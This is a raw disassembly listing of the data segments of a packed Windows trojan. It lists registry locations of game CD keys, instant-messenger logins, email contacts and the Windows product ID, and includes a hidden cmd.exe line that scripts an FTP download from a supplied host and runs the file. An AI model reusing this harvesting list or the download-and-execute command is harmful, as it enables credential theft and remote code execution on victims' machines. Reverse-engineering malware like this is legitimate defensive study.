___:0042F4BEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 10h aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 10h off_447670 dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do ; "socket open failed" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 8 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 10h word_4476B0 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476B4 dd 25206425h, 64hdword_4476BC dd 455A4953h, 732520h, 0dword_4476C8 dd 4D54444Dh, 732520h, 0dword_4476D4 dd 4F544E52h, 732520h, 0dword_4476E0 dd 52464E52h, 732520h, 0dword_4476EC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 10h dword_447700 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 10h dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 448854h, 448F30h, 448820h, 80000002h, 4487C0h dd 448F30h, 448790h, 80000002h, 448738h, 448F30h, 448714h dd 80000002h, 4486CCh, 448F30h, 4486B4h, 80000002h, 448670h dd 448F30h, 448648h, 80000002h, 44860Ch, 448F30h, 4485D8h dd 80000002h, 448578h, 448F30h, 44854Ch, 80000002h, 448528h dd 448520h, 4484F4h, 80000002h, 4484CCh, 448520h, 4484B4h dd 80000001h, 448484h, 448480h, 448470h, 80000002h, 448434h dd 448F30h, 448424h, 80000002h, 4483E8h, 448F30h, 4483D4h dd 80000002h, 44838Ch, 448F30h, 448370h, 80000002h, 44832Ch dd 448F30h, 448310h, 80000001h, 4482E8h, 448480h, 4482D8h dd 80000001h, 4482B0h, 448480h, 448290h, 80000002h, 448254h dd 448250h, 448234h, 80000002h, 448210h, 448208h, 4481F0h dd 80000001h, 4481C4h, 4481BCh, 448198h, 80000002h, 44814Ch dd 448F30h, 448124h, 80000002h, 4480D0h, 448F30h, 448098h dd 80000002h, 448034h, 448F30h, 448000h, 80000002h, 447FA0h dd 448F30h, 447F84h, 80000002h, 447F3Ch, 448F30h, 447F20h dd 80000002h, 447ED8h, 448F30h, 447EC8h, 80000002h, 447E8Ch dd 448F30h, 447E7Ch, 80000002h, 447E40h, 448F30h, 447E18h dd 80000002h, 447DC4h, 448F30h, 447D9Ch, 80000002h, 447D4Ch dd 448F30h, 447D30h, 80000002h, 447D08h, 448480h, 447CF4h dd 80000002h, 447CBCh, 448F30h, 447C8Ch, 80000002h, 447C34h dd 448F30h, 447C18h, 80000001h, 447BC8h, 447BC0h, 447BA4h dd 80000002h, 447B60h, 447B54h, 447B3Ch, 80000001h, 447B0Ch dd 447B00h, 447AE0h, 80000002h, 447AA4h, 447BC0h, 447A84h dd 80000002h, 447A48h, 447BC0h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 4 dd 0 dword_4488EC dd 3A6D6961h, 732520h, 0dword_4488F8 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A2C dd 3A6E736Dh, 732520h, 0dword_448A38 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B64: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B6F: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B7B: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B87: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448B98: ; CODE XREF: ___:00448B9Dj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448B98 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_448C90 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F30 db 0 ; DATA XREF: sub_403530+95o ; sub_404600+200o ... align 4 dword_448F34 dd 0 ; sub_4246D0+11o ... dword_448F38 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4AFr ... align 10h dword_448F40 dd 0 ; ___:0040D415w ... dd 8 dup(0) dword_448F64 dd 41h dup(0) ; ___:0040D450o ... dword_449068 dd 0 ; ___:loc_40D4A4r ... dword_44906C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D41Fr ... dword_449070 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D650+CAw dword_449074 dd 0 ; sub_40D650+E3r dd 11h dup(0) dword_4490BC dd 0 ; sub_40FE30+47Dr dword_4490C0 dd 0 ; sub_40FE30+515r ... dword_4490C4 dd 0 ; sub_40FE30+655r ... dword_4490C8 dd 0 ; sub_40FE30+B79r ... dword_4490CC dd 0 ; sub_40FE30+74Br dword_4490D0 dd 0 ; sub_40FE30+828r dword_4490D4 dd 0 ; sub_40FE30+77Cr dword_4490D8 dd 0 ; sub_40FE30+4DDr ... dword_4490DC dd 0 ; sub_40FE30+311r dword_4490E0 dd 0 ; sub_40FE30+34Dr ... dword_4490E4 dd 0 ; sub_40FE30+33Dr dword_4490E8 dd 0 ; sub_40FE30+3D2r dword_4490EC dd 0 ; sub_40FE30+E93r dword_4490F0 dd 0 ; sub_40FE30+1220r ... dword_4490F4 dd 0 ; sub_411C00+4DAr dword_4490F8 dd 0 ; sub_40FE30+683r dword_4490FC dd 0 ; sub_40FE30+6B5r dword_449100 dd 0 ; sub_40FE30+1252r dd 5 dup(0) dword_449118 dd 10h dup(0) ; ___:0040401Fo ... db 2 dup(0) byte_44915A db 0 ; DATA XREF: sub_409B00r sub_409B70r align 4 db 3 dup(0) byte_44915F db 0 ; DATA XREF: sub_40D650+10Fr db 0 byte_449161 db 0 ; DATA XREF: sub_40DBE0r word_449162 dw 0 ; DATA XREF: sub_40DBE0+9o dd 44h dup(0) db 3 dup(0) byte_449277 db 0 ; DATA XREF: ___:00412F8Ao ; ___:0041303Fo ... db 3 dup(0) byte_44927B db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_449280 dd 12h dup(0) ; sub_40FE30+114o db 0 byte_4492C9 db 3 dup(0) ; DATA XREF: ___:00408B9Bo ; sub_40FE30+159o ... dd 11h dup(0) db 2 dup(0) word_449312 dw 0 ; DATA XREF: ___:00408B72o ; sub_40FE30+132o dd 6 dup(0) word_44932C dw 0 ; DATA XREF: sub_40FE30+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44935B db 0 ; DATA XREF: ___:00408BC4o ; sub_40FE30+17Co ... dd 12h dup(0) dword_4493A4 dd 12h dup(0) ; sub_40FE30+F7o ... db 0 byte_4493ED db 3 dup(0) ; DATA XREF: ___:00408AFDo ; sub_40FE30+D0o ... dd 23h dup(0) db 3 dup(0) byte_44947F db 0 ; DATA XREF: ___:00408BEDo ; sub_40FE30+19Ao dd 24h dup(0) db 0 byte_449511 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44955A dw 0 ; DATA XREF: ___:00412F5Ao ; ___:00412F79o ... dd 3Ch dup(0) db 3 dup(0) dword_44964F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_449729 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449804 db 0 ; DATA XREF: sub_40FE30+842r align 4 dd 0Bh dup(0) dword_449834 dd 18h dup(0) ; sub_40EE30+97o ... db 2 dup(0) byte_449896 db 0 ; DATA XREF: sub_404C30+258r ; sub_41D830+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498DF db 0 ; DATA XREF: sub_404C30:loc_404EA0r ; sub_41D830:loc_41DEB6r dd 0Bh dup(0) db 3 dup(0) byte_44990F db 0 ; DATA XREF: sub_404C30+279o ; sub_41D830+68Fo ... dd 12h dup(0) dword_449958 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_449A04 dd 0 dd 11h dup(0) db 0 dword_449A4D dd 0 align 4 dd 0D9h dup(0) byte_449DB8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC5E dw 0 ; DATA XREF: sub_404600+1BDo ; sub_404AD0+31o ... db 2 dup(0) word_44AC62 dw 0 ; DATA XREF: sub_404AD0+4o dd 1Ch dup(0) db 2 dup(0) word_44ACD6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD70 dd 86h dup(0) ; sub_404C30+27Eo ... db 3 dup(0) byte_44AF8B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B18B dd 0 ; sub_4269A0+4Fw ... dword_44B18F dd 0 ; ___:0042419Dw ... dword_44B193 dd 0 ; sub_4269A0+5Dr ... dword_44B197 dd 0 ; sub_4269A0+8Cr ... dword_44B19B dd 0 ; sub_4269A0+9Dr dword_44B19F dd 0 ; ___:004241D1r ... byte_44B1A3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dd 2828h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446EF4o dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 53D8h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44530Co dd 0ECEh dup(0) db 3 dup(0) dword_4D7F8B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8075 db 3 dup(0) ; DATA XREF: sub_404BE0+1Eo ; sub_404C30+65o ... dd 5 dup(0) byte_4D808C db 0 ; DATA XREF: sub_404C30+292w ; sub_404C30+4EBw dword_4D808D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D8099 dd 0 ; sub_404BE0+2Aw byte_4D809D db 3 dup(0) ; DATA XREF: ___:00412FB4o ; ___:00412FD7o dd 9 dup(0) db 3 dup(0) dword_4D80C7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D818B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D818F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D834F db 0 ; DATA XREF: ___:00408289o ; ___:0040871Ao ... dd 8 dup(0) dword_4D8370 dd 0 dd 51h dup(0) db 0 byte_4D84B9 db 0 ; DATA XREF: sub_427980:loc_427A30r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8735 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02A5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E7D8F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E15 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86EF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E44 db 0 ; DATA XREF: sub_404C30+299w ; sub_40FE30:loc_40FE72r ... byte_4E8E45 db 3 dup(0) ; DATA XREF: sub_404C30+235o ; sub_404C30+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E5A dw 0 ; DATA XREF: sub_404C30+2D4o ; ___:0040872Eo ... dd 0Fh dup(0) db 0 byte_4E8E99 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E8E9B db 0 ; DATA XREF: sub_418450+21o ; sub_41D830+341o ... dd 6D2Eh dup(0) dword_504354 dd 12B6h dup(0) dword_508E2C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE2C dd 333h dup(0) ; ___:00419BB8o ... dword_50DAF8 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB08 dd 0 ; ___:0041FB3Dw ... dword_50DB0C dd 0 ; sub_41FA90+2Aw ... dword_50DB10 dd 0 dword_50DB14 dd 0 ; ___:0041FB5Bw dword_50DB18 dd 0 dword_50DB1C dd 0 ; ___:0041FB67w ... dword_50DB20 dd 0 ; ___:0041FB6Dw ... dword_50DB24 dd 0 ; ___:00420DA9o dword_50DB28 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50DB2C dd 0 ; ___:0041FB81w dword_50DB30 dd 0 ; sub_420530+41w ... dword_50DB34 dd 0 ; sub_420530+7Fr dword_50DB38 dd 0 ; sub_420530+92r ... dword_50DB3C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50DB4C dd 0 ; ___:0041C2A5o dword_50DB50 dd 0 ; sub_423820+5r ... dword_50DB54 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FA90 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAA8 dd 196h dup(0) ; sub_423760+6Do dword_510100 dd 0 word_510104 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510108 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51010C dd 0 dd 0 byte_510114 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510118 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427980+D9r dword_51011C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427980+45r dword_510120 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427980+54r ... align 8 dword_510128 dd 80h dup(0) ; sub_427D50+129o dword_510328 dd 0 dword_51032C dd 0 dd 1Dh dup(0) dword_5103A4 dd 0 ; ___:0042C40Dr ... dword_5103A8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103AC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103B0 dd 0 dword_5103B4 dd 0 ; sub_431560r ... dword_5103B8 dd 0 dword_5103BC dd 0 ; sub_4309A0+111w ... dword_5103C0 dd 0 ; sub_4309A0+F6r ... dword_5103C4 dd 0 ; ___:loc_4316A0r dword_5103C8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dd 13Ah dup(0) dword_5108C0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510900 dd 8 dup(0) ; sub_430830+25o ... dword_510920 dd 8 dup(0) ; sub_431980+25o ... dword_510940 dd 8 dup(0) ; sub_432850+84o ... dword_510960 dd 8 dup(0) ; sub_432850+8Bo ... dword_510980 dd 366h dup(0) ; sub_4309A0:loc_430AB7o ... dword_511718 dd 0 align 10h dword_511720 dd 0 dd 2 dup(0) dword_51172C dd 0 dd 4 dup(0) dword_511740 dd 0 ; sub_40E860+25Ar ... dword_511744 dd 0 dword_511748 dd 0 dd 2 dup(0) dword_511754 dd 0 ; sub_40EE30+15Er ... dd 0 dword_51175C dd 0 ; sub_40E860+22Cr dd 0 dword_511764 dd 0 ; sub_4207E0+285r ... dd 0 dword_51176C dd 0 ; sub_40E860+24Cr dd 1Ch dup(0) dword_5117E0 dd 0 ; sub_420530+FEr dd 20h dup(0) dword_511864 dd 0 dword_511868 dd 0 dword_51186C dd 0 dd 3 dup(0) dd 0 dd 0Bh dup(0) dword_5118AC dd 0 ; sub_40FE30+47r ... dd 7 dup(0) dword_5118CC dd 0 dd 2 dup(0) dword_5118D8 dd 0 ; sub_41B580+2Fr ... align 10h dword_5118E0 dd 0 ; sub_4203D0+2Er ... align 10h dword_5118F0 dd 0 dd 8 dup(0) dd 0 dword_511918 dd 0 ; sub_420530:loc_42057Cr ... dd 31h dup(0) dword_5119E0 dd 0 dd 22h dup(0) dword_511A6C dd 0 ; sub_42E5B0+53r ... dword_511A70 dd 0 dd 2 dup(0) dword_511A7C dd 0 dd 3 dup(0) dword_511A8C dd 0 dword_511A90 dd 0 ; sub_42DE00+4Ar ... dd 2 dup(0) dword_511A9C dd 0 dword_511AA0 dd 0 dword_511AA4 dd 0 dword_511AA8 dd 0 dword_511AAC dd 0 dword_511AB0 dd 0 align 8 dword_511AB8 dd 0 ; ___:0041C3DAr dd 3 dup(0) dword_511AC8 dd 0 ; sub_41BA50+17Er ... align 10h dword_511AD0 dd 0 ; sub_42F2C0+34r ... align 8 dword_511AD8 dd 0 align 10h dword_511AE0 dd 0 ; sub_42DE00+90r dword_511AE4 dd 0 ; sub_426070+C8r ... dd 0 dword_511AEC dd 0 dd 4 dup(0) dword_511B00 dd 0 ; sub_41BD90+5Dr dword_511B04 dd 0 ; sub_40FE30+1126r ... dword_511B08 dd 0 ; ___:00419CDAr dd 2 dup(0) dword_511B14 dd 0 ; sub_422B40+203r ... dd 0 dword_511B1C dd 0 dd 3 dup(0) dd 0 dd 34h dup(0) dword_511C00 dd 0 ; sub_41A050+2Dr ... dd 0Dh dup(0) dword_511C38 dd 0 ; sub_425100:loc_4251B2r ... dword_511C3C dd 0 ; sub_42B8E0:loc_42B99Br dd 4 dup(0) dword_511C50 dd 0 dd 2 dup(0) dword_511C5C dd 0 dd 0 dword_511C64 dd 0 dword_511C68 dd 0 ; sub_42B8E0+F9r dd 7 dup(0) dword_511C88 dd 0 dd 2 dup(0) dword_511C94 dd 0 ; sub_41A7D0+48r ... dword_511C98 dd 0 dword_511C9C dd 0 ; sub_41F860+198r ... dword_511CA0 dd 0 ; ___:004216E1r ... dword_511CA4 dd 0 ; sub_4253C0+8Br ... dd 0 dword_511CAC dd 0 ; sub_42C830+E8r dd 4D4h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 400h dup(0) _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 000FF000 (1044480.) ; Section size in file : 000FF000 (1044480.) ; Offset to raw data for section: 00115000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 515000h dd 5 dup(0) public start start dd 0BD4Ch dup(0) db 3 dup(0) byte_544547 db 0 ; DATA XREF: ___:off_44720Co dd 0B512h dup(0) db 3 dup(0) db 0 dd 4263h dup(0) db 3 dup(0) byte_582323 db 0 ; DATA XREF: ___:off_444868o dd 0F74Eh dup(0) dword_5C005C dd 0C9FFh dup(0) db 3 dup(0) byte_5F285B db 0 ; CODE XREF: sub_406850+12Bp ; sub_409C90+1Cp ... dd 8131h dup(0) dword_612D20 dd 4B8h dup(0) Themida_ ends ; Section 5. (virtual address 00214000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00214000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 614000h dd 80h dup(0) align 1000h _idata2 ends end start